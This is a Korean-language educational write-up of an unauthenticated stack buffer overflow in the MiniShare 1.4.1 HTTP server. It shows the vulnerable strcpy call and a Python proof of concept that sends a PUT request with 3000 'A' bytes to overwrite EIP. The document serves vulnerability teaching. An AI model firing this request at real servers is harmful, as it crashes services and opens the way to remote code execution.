💡 이 취약점이 흥미로운 이유

이 취약점은 단순한 로컬 파일 공유를 위해 설계된 단종된 경량 Windows HTTP 서버인 MiniShare 1.4.1에 영향을 미칩니다. 이 소프트웨어는 현대적인 보안 관행을 염두에 두지 않고 작성되었습니다. 교육적 관점에서 이 사례가 특히 흥미로운 이유는 관련된 요소들의 조합 때문입니다:

• 인증 불필요. HTTP PUT 메서드는 어떠한 자격 증명 검사도 없이 처리됩니다. 네트워크상의 모든 원격 공격자는 단일하게 조작된 요청으로 이 취약점을 트리거할 수 있습니다.
• 공격 벡터로 사용되는 표준 프로토콜 메서드. 오버플로는 HTTP PUT 요청을 통해 트리거됩니다 — 커스텀 프로토콜이나 난해한 명령이 아닙니다. 이는 표준적이고 잘 알려진 프로토콜 메서드가 독점 인터페이스만큼 효과적으로 익스플로잇 페이로드를 전달할 수 있음을 보여줍니다.
• 직접적인 EIP 덮어쓰기. 오버플로는 저장된 반환 주소에 직접 도달하여 덮어쓰므로, SEH 체인이 관여하지 않는 교과서적인 바닐라 스택 버퍼 오버플로입니다.
• 동일한 바이너리, 여러 CVE. CVE-2018-19861, CVE-2018-19862, CVE-2019-17601은 동일한 소프트웨어에서 동일한 클래스의 취약점을 설명합니다. 서로 다른 연구자들이 서로 다른 HTTP 메서드나 엔드포인트를 보고했기 때문에 서로 다른 CVE 항목이 할당되었지만, 바이너리를 리버스 엔지니어링하면 모두 길이 검증 없이 소독되지 않은 입력이 고정 크기 스택 버퍼로 복사된다는 동일한 근본 원인을 공유한다는 것이 분명해집니다.

이러한 조합 덕분에 CVE-2020-13768은 실제적인 무인증 시나리오에서 네트워크 기반 버퍼 오버플로 익스플로잇의 기초를 가르치기에 훌륭한 사례입니다.

char path_buffer[256];

strcpy(path_buffer, uri_path);

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

EIP = 41414141